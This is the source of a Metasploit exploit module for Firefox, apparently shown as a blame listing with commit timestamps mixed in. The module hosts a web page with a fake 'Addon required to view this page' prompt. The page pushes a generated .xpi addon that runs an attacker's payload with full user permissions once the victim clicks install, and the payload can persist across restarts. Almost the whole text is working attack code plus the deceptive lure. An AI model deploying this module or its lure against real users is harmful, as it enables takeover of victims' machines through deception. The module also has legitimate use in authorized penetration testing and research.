2012-04-10 13:33:04 +02:00
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##
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2017-07-24 06:26:21 -07:00
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# This module requires Metasploit: https://metasploit.com/download
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2013-10-15 13:50:46 -05:00
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# Current source: https://github.com/rapid7/metasploit-framework
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2012-04-10 13:33:04 +02:00
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##
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require 'rex/zip'
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2016-03-08 14:02:44 +01:00
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class MetasploitModule < Msf::Exploit::Remote
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2013-08-30 16:28:54 -05:00
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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2013-12-18 20:35:43 -06:00
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include Msf::Exploit::Remote::FirefoxAddonGenerator
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2013-08-30 16:28:54 -05:00
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def initialize( info = {} )
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super( update_info( info,
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'Name' => 'Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution',
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'Description' => %q{
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This exploit dynamically creates a .xpi addon file.
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The resulting bootstrapped Firefox addon is presented to
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2014-01-02 01:10:08 -06:00
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the victim via a web page. The victim's Firefox browser
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2013-08-30 16:28:54 -05:00
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will pop a dialog asking if they trust the addon.
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Once the user clicks "install", the addon is installed and
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executes the payload with full user permissions. As of Firefox
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4, this will work without a restart as the addon is marked to
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be "bootstrapped". As the addon will execute the payload after
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each Firefox restart, an option can be given to automatically
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uninstall the addon once the payload has been executed.
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},
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'License' => MSF_LICENSE,
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2014-01-02 01:10:08 -06:00
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'Author' => [ 'mihi', 'joev' ],
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2013-08-30 16:28:54 -05:00
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'References' =>
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[
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[ 'URL', 'https://developer.mozilla.org/en/Extensions/Bootstrapped_extensions' ],
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2014-09-02 12:27:35 -05:00
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[ 'URL', 'http://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector' ]
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2013-08-30 16:28:54 -05:00
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],
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2013-12-18 14:42:01 -06:00
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'DisclosureDate' => 'Jun 27 2007'
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2013-08-30 16:28:54 -05:00
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))
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end
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2014-01-02 01:10:08 -06:00
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def on_request_uri(cli, request)
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if request.uri.match(/\.xpi$/i)
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# browser has navigated to the .xpi file
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print_status("Sending xpi and waiting for user to click 'accept'...")
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if not xpi = generate_addon_xpi(cli)
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print_error("Failed to generate the payload.")
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send_not_found(cli)
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else
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send_response(cli, xpi.pack, { 'Content-Type' => 'application/x-xpinstall' })
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end
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else
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# initial browser request
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# force the user to access a directory-like URL
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if not request.uri.match(/\/$/)
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print_status("Redirecting request." )
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send_redirect(cli, "#{get_resource}/")
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else
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# user has navigated
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print_status("Sending HTML response." )
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2014-01-02 01:10:08 -06:00
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send_response_html(cli, generate_html)
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2013-08-30 16:28:54 -05:00
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end
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end
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2014-01-02 01:10:08 -06:00
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handler(cli)
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2013-08-30 16:28:54 -05:00
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end
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def generate_html
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html = %Q|<html><head><title>Loading, Please Wait...</title>\n|
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html << %Q|<meta http-equiv="refresh" content="0; url=addon.xpi"></head>\n|
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2014-09-02 12:27:35 -05:00
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html << %Q|<body><center><p>Addon required to view this page. <a href="addon.xpi">[Install]</a></p></center>\n|
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html << %Q|</body></html>|
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return html
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2013-08-30 16:28:54 -05:00
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end
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2012-04-10 13:33:04 +02:00
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end
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